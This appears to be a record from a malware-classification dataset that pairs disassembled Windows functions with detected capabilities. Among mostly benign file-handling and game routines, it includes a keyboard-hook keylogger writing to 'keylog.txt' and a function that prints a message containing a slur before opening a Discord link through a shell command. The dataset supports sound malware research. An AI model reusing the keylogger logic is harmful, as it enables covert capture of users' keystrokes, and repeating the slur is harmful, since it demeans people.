joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110d7
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001a270
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140031068]
call fcn.140011820
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001a2c7
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001a3d3
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001a36c
cmp qword [rbp + 0x28], 0
jle 0x14001a36c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001a30c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.1400117a8
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001a3c2
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001a3c2
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011492
Capabilities:
Terminate process

Disassembly:
jmp 0x14001d760
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001159b
Capabilities:
Log keystrokes via application hook

Disassembly:
jmp 0x14001a450
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002a018]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x1400310f6]
call fcn.140011820
mov r9d, 0x40
mov r8d, 8
lea rdx, str.keylog.txt
lea rcx, [0x14002a680]
call fcn.140011190
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140011398]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [rbp + 8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14001a4f4
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x14001a4c8
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
lea rcx, [0x14002a680]
call fcn.14001143d
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400258e0]
call fcn.1400116c7
mov eax, edi
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.1400113f2
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x1400115b9
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001cb10
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001cb30
xor al, al
jmp 0x14001cbb1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001cb43
xor al, al
jmp 0x14001cbb1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001cb6d
xor al, al
jmp 0x14001cbb1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001cb81
xor al, al
jmp 0x14001cbb1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001cb93
xor al, al
jmp 0x14001cbb1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001cbaf
xor al, al
jmp 0x14001cbb1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011807
Capabilities:
Write file on windows

Disassembly:
jmp 0x140016c10
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x14002a018]
xor rax, rbp
mov qword [rbp + 0x1a0], rax
lea rcx, [0x140031068]
call fcn.140011820
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x140016c76
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140016c7d
mov al, 1
jmp 0x140016dd7
call fcn.140011244
mov rcx, qword [rbp + 0x1d0]
mov rcx, qword [rcx]
mov qword [rbp + 0x198], rcx
mov edx, eax
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x198]
call qword [rax + 0x18]
mov dword [rbp + 0x164], eax
call fcn.140011244
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.1400116e5
movzx eax, al
test eax, eax
je 0x140016cd8
xor al, al
jmp 0x140016dd7
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x194], eax
cmp dword [rbp + 0x194], 0
je 0x140016d3d
cmp dword [rbp + 0x194], 1
je 0x140016d48
cmp dword [rbp + 0x194], 3
je 0x140016dc6
jmp 0x140016dd5
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140016d98
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140016d98
xor al, al
jmp 0x140016dd7
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140016db3
mov dword [rbp + 0x194], 1
jmp 0x140016dbd
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x140016dd7
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140016dd7
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140025700]
call fcn.1400116c7
mov rax, rdi
mov rcx, qword [rbp + 0x1a0]
xor rcx, rbp
call fcn.1400113f2
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x140011244
Capabilities:
Terminate process

Disassembly:
jmp 0x1400138e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112d5
Capabilities:
Execute command

Disassembly:
jmp 0x1400122b0
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400240f3]
call fcn.1400113e8
lea rdx, str.Dear_sinister_users._I_am_haulting_what_sinister_is_and_rebranding.__n_The_reason_for_this_is_that_Flix_is_an_abuse_faggot_that_doesnt_pay_jack_shit._So_I_am_starting_my_own_server_called_Shiesty_Services_your_keys_will_still_carry_over_i_am_just_fed_up_with_flix_not_doing_anything_but_think_hes_the_shit._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, [0x14001ada4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.Your_browser_will_launch_in_5_secs_with_the_new_discord._I_will_be_updating_my_shit_but_not_flix.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, [0x14001ada4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.Hope_you_understand
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, [0x14001ada4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.From__x6__minihook__session
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_https:__discord.gg_gPFmSSM5
call qword [sym.imp.ucrtbased.dll_system]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x1400112df
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014c30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014c50
xor al, al
jmp 0x140014cd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014c63
xor al, al
jmp 0x140014cd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014c8d
xor al, al
jmp 0x140014cd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014ca1
xor al, al
jmp 0x140014cd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014cb3
xor al, al
jmp 0x140014cd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014ccf
xor al, al
jmp 0x140014cd1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x14011dbc0]
xor edi, edi
mov rax, qword gs:[0x30]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x14011dbd0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140126008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x14011db30]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.14006ee40
mov rcx, qword [0x14011dc50]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [str.p__]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.14006ec50
mov ebx, dword [0x140126028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test ebx, ebx
mov rbp, qword [0x140126020]
mov r12, rax
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [rbp + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [r12 + rbx], rax
mov rdx, qword [rbp + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, r12
mov qword [rdi], 0
mov qword [0x140126020], r12
call fcn.14006ea50
mov rax, qword [0x14011db40]
mov r8, qword [0x140126018]
mov ecx, dword [0x140126028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140126020]
call fcn.140071d90
mov ecx, dword [0x14012600c]
mov dword [0x140126010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140126008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x14011dbd0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.140071970
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x14011dbf0]
mov rcx, qword [0x14011dbe0]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
test edi, edi
mov dword [rsi], 2
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x140126010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x14011dc10]
mov dword [rsi], 1
mov rcx, qword [0x14011dc00]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b6
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
Function at 0x1400190d0
Capabilities:
Inspect section memory permissions

Disassembly:
push r15
mov eax, 0x35f8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14006fe80
sub rsp, rax
lea r15, [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov rsi, rcx
mov r11d, edx
mov rcx, r15
call fcn.140018780
mov rdi, qword [0x14011e4e0]
movzx ebx, byte [rdi + 0x1c]
or bl, byte [rdi + 0x223]
test r11w, r11w
jle 0x1400192df
test bl, bl
movsx r11, r11w
mov r12d, 1
lea rbx, [rsi + r11*8]
setne r13b
mov r14, qword [rsp + 0x28]
xor ebp, ebp
xor esi, esi
jmp 0x1400191cb
cmp ax, r10w
jg 0x140019228
imul eax, r8d, 0x64
lea r8d, [r8 + r8*2]
shl r8d, 2
add r11d, eax
movsxd rax, r8d
sar r8d, 0x1f
imul rax, rax, 0x66666667
mov dword [rcx + 0x10], r11d
sar rax, 0x22
sub eax, r8d
test r9d, r9d
mov word [rcx + 8], ax
je 0x14001918e
mov edx, dword [rdi + 0xa8]
lea r8d, [rdx - 1]
cmp r9d, r8d
jb 0x140019228
movsxd r8, r11d
sar r11d, 0x1f
imul r8, r8, 0x10624dd3
sar r8, 0x26
sub r8d, r11d
test ax, ax
jle 0x140019298
cmp r10w, r8w
jl 0x140019228
call fcn.140018fb0
mov ebp, 1
test al, al
cmovne esi, r12d
add r14, 8
cmp r14, rbx
je 0x14001923e
mov rcx, qword [r14]
test rcx, rcx
je 0x1400191c2
mov r9d, dword [rcx + 0x14]
movsx r8d, word [rcx + 8]
test r9d, r9d
je 0x1400191ef
mov eax, dword [rdi + 0xa8]
sub eax, 1
cmp r9d, eax
jb 0x140019228
movsxd rax, dword [rcx + 0x10]
mov r11, rax
imul rax, rax, 0x10624dd3
mov r10d, r11d
sar r10d, 0x1f
sar rax, 0x26
sub eax, r10d
test r8w, r8w
movzx r10d, word [rcx + 0xa]
jg 0x140019140
cmp ax, r10w
jge 0x14001914a
nop dword [rax]
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add r14, 8
mov qword [r14 - 8], 0
cmp r14, rbx
jne 0x1400191cb
call fcn.140060240
xor ecx, ecx
mov edx, 1
call fcn.140007cc0
test r13b, r13b
jne 0x1400192a8
or sil, byte [rdi + 0x225]
mov r13d, esi
je 0x1400192a8
test bpl, bpl
jne 0x1400192c0
call fcn.140018840
mov rcx, r15
call fcn.1400187e0
mov edx, 1
xor ecx, ecx
add rsp, 0x35f8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp fcn.140007cc0
cmp r10w, r8w
jg 0x140019228
jmp 0x1400191b2
call fcn.140018840
mov rcx, r15
call fcn.1400187e0
test bpl, bpl
jne 0x140019130
jmp 0x140019272
mov ecx, 0xa
call fcn.1400452b0
mov r13d, eax
call fcn.140018840
mov rcx, r15
call fcn.1400187e0
jmp 0x140019130
call fcn.140060240
mov edx, 1
xor ecx, ecx
call fcn.140007cc0
jmp 0x140019265

Function at 0x140058d00
Capabilities:
Read file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rcx, qword [0x14011de20]
lea rdx, [0x1400edaeb]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rsi, qword [0x14011e420]
xor r8d, r8d
mov rcx, rax
mov rbx, rax
mov edx, dword [rsi]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
mov rcx, qword [0x14011e080]
mov r9, rbx
mov r8d, 0x3e8
mov edx, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov rcx, rbx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_ftell
mov rcx, rbx
mov dword [rsi], eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rax, qword [0x14011e1e0]
xor edx, edx
mov word [rax], dx
add rsp, 0x28
pop rbx
pop rsi
ret
Function at 0x14005a9f0
Capabilities:
Move file

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x240
mov rbx, qword [0x14011e4e0]
cmp byte [rbx + 0x201], 0
jne 0x14005aa8e
lea rdi, [rsp + 0x130]
xor edx, edx
lea rsi, [rsp + 0x20]
mov rcx, rdi
call fcn.14005a7f0
lea r8, [0x1400eddf5]
mov rdx, rdi
mov rcx, rsi
call fcn.14005a720
movabs rdi, 0x736575676f72622e
call fcn.140058c20
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, qword [0x14011de20]
mov rdx, rsi
add rax, rsi
mov qword [rax], rdi
mov dword [rax + 8], 0x657661
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_rename
mov rcx, qword [0x14011de20]
mov rdx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
mov byte [rbx + 8], 1
mov dword [rbx + 0x15b8], 0
mov byte [rbx + 0x200], 0
add rsp, 0x240
pop rbx
pop rsi
pop rdi
ret

Function at 0x14005aaa0
Capabilities:
Delete file
Move file

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x360
mov rbp, qword [0x14011e4e0]
cmp byte [rbp + 0x201], 0
je 0x14005aad8
add rsp, 0x360
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
lea rsi, [rsp + 0x250]
xor edx, edx
lea rbx, [rsp + 0x40]
mov rcx, rsi
call fcn.14005a7f0
mov rdx, rsi
mov rcx, rbx
lea r8, [0x1400eddf5]
call fcn.14005a720
lea rdi, [0x1400eddf5]
mov byte [rsp + 0x140], 0
lea r12, str.Save_game_as___esc__to_cancel_:
call fcn.140047db0
lea rsi, [rsp + 0x140]
lea r13, str._s_s
lea r14, str.File_of_that_name_already_exists._Overwrite_
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov rdx, r12
mov rcx, rbx
mov dword [rsp + 0x30], 0
mov r8d, 0xf9
mov dword [rsp + 0x28], 1
call fcn.14004fab0
test al, al
je 0x14005abe8
mov r9, rbx
mov r8, r13
mov edx, 0x104
mov qword [rsp + 0x20], rdi
mov rcx, rsi
call fcn.140071730
mov rcx, rsi
call fcn.14005bb20
test al, al
je 0x14005ab98
mov edx, 1
mov rcx, r14
call fcn.1400503d0
test al, al
je 0x14005ab32
mov rcx, rsi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
call fcn.140058c20
mov rbx, qword [0x14011de20]
mov rdx, rsi
mov rcx, rbx
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_rename
mov rdx, rsi
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
mov edx, 1
mov byte [rbp + 0x200], 0
lea rcx, str.Saved.
call fcn.14004cef0
mov byte [rbp + 8], 1
mov dword [rbp + 0x15b8], 0
call fcn.1400483a0
jmp 0x14005aac1

Function at 0x14005ac00
Capabilities:
Delete file
Move file

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x130
mov rsi, qword [0x14011e4e0]
cmp byte [rsi + 0x201], 0
mov rbx, rcx
jne 0x14005ac7e
lea rdi, [rsp + 0x20]
mov edx, 1
mov rcx, rdi
call fcn.14005a7f0
lea r8, [0x1400eddc8]
mov rdx, rdi
mov rcx, rbx
call fcn.14005a720
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rbx
movabs rdx, 0x726575676f72622e
add rax, rbx
mov qword [rax], rdx
mov dword [rax + 7], 0x636572
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
mov rcx, qword [0x14011de20]
mov rdx, rbx
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_rename
mov byte [rsi + 0x200], 0
add rsp, 0x130
pop rbx
pop rsi
pop rdi
ret
Function at 0x14005ac90
Capabilities:
Delete file
Move file

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x260
mov r13, qword [0x14011e4e0]
cmp byte [r13 + 0x201], 0
mov rbx, rcx
je 0x14005acd0
add rsp, 0x260
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
lea rsi, [rsp + 0x150]
mov edx, 1
lea rdi, [0x1400eddc8]
mov rcx, rsi
call fcn.14005a7f0
mov rdx, rsi
mov rcx, rbx
lea r8, [0x1400eddc8]
call fcn.14005a720
lea rbp, str.Save_recording_as___esc__to_cancel_:
mov byte [rsp + 0x40], 0
call fcn.140047db0
lea rsi, [rsp + 0x40]
lea r12, str._s_s
lea r14, str.File_of_that_name_already_exists._Overwrite_
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov rdx, rbp
mov rcx, rbx
mov dword [rsp + 0x30], 0
mov r8d, 0xfa
mov dword [rsp + 0x28], 1
call fcn.14004fab0
mov qword [rsp + 0x20], rdi
test al, al
je 0x14005adb0
mov r9, rbx
mov r8, r12
mov edx, 0x104
mov rcx, rsi
call fcn.140071730
mov rcx, rsi
call fcn.14005bb20
test al, al
je 0x14005ad84
mov edx, 1
mov rcx, r14
call fcn.1400503d0
test al, al
je 0x14005ad22
mov rcx, rsi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
mov rcx, qword [0x14011de20]
mov rdx, rsi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_rename
mov byte [r13 + 0x200], 0
call fcn.140047db0
jmp 0x14005acb5
lea r9, str.LastRecording
mov edx, 0x104
mov rcx, rsi
lea r8, str._s_s
call fcn.140071730
mov rcx, rsi
call fcn.14005bb20
test al, al
je 0x14005ad8c
jmp 0x14005ad84

Function at 0x14005ade0
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x410
mov rsi, rcx
mov rcx, rdx
mov ebp, r8d
mov rbx, rdx
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
lea rdx, [0x1400edaeb]
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
lea rdx, [0x1400edae1]
mov rcx, rbx
mov r14, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
test ebp, ebp
mov r13, rax
je 0x14005ae74
lea r12, [rsp + 0x20]
xor esi, esi
nop dword [rax]
mov ebx, ebp
mov eax, 0x3e8
mov r9, r14
sub ebx, esi
mov edx, 1
mov rcx, r12
cmp ebx, eax
cmova ebx, eax
mov edi, ebx
add esi, ebx
mov r8, rdi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov r9, r13
mov r8, rdi
mov edx, 1
mov rcx, r12
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
cmp esi, ebp
jb 0x14005ae38
mov rcx, r14
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rcx, r13
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
nop
add rsp, 0x410
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x14005aea0
Capabilities:
Delete file

Disassembly:
push rsi
push rbx
sub rsp, 0x138
lea r8, [0x1400eddf5]
movabs rsi, 0x736575676f72622e
lea rdx, str.LastGame
lea rbx, [rsp + 0x20]
mov rcx, rbx
call fcn.14005a720
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
movzx edx, word [0x1400ee4c8]
add rax, rbx
mov qword [rax], rsi
mov rsi, qword [0x14011de20]
mov dword [rax + 8], 0x657661
mov rax, qword [0x14011e4e0]
mov rcx, rsi
mov word [rax + 0x200], dx
xor edx, edx
mov byte [rax + 0x223], 0
mov byte [rax + 0x225], 0
mov rax, qword [0x14011e1e0]
mov word [rax], dx
mov rax, qword [0x14011e4a0]
mov rdx, rbx
mov r8d, dword [rax]
call fcn.14005ade0
mov rcx, rsi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
mov rdx, rbx
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
call fcn.1400447f0
xor r8d, r8d
mov edx, 0xffffffff
mov ecx, 0xffffffff
call fcn.14004ba40
call fcn.140047b50
call fcn.140043bc0
nop
add rsp, 0x138
pop rbx
pop rsi
ret
Function at 0x140068550
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov r10d, 0x14
mov eax, 0xf1ea5eed
mov r8, rdx
mov r9d, edx
shr r8, 0x20
xor r8d, edx
nop dword [rax]
mov ebx, r9d
ror ebx, 5
sub eax, ebx
mov r11d, eax
mov eax, r8d
ror eax, 0xf
xor eax, r9d
sub r10d, 1
lea r9d, [r8 + rdx]
lea r8d, [r11 + rdx]
lea edx, [r11 + rax]
jne 0x140068570
movd xmm1, r8d
movd xmm2, edx
movd xmm0, eax
movd xmm3, r9d
punpckldq xmm1, xmm2
punpckldq xmm0, xmm3
punpcklqdq xmm0, xmm1
movups xmmword [rcx], xmm0
pop rbx
ret

Function at 0x140068660
Capabilities:
Encode data using xor

Disassembly:
cmp edx, ecx
jle 0x140068670
jmp fcn.140068290
mov eax, ecx
ret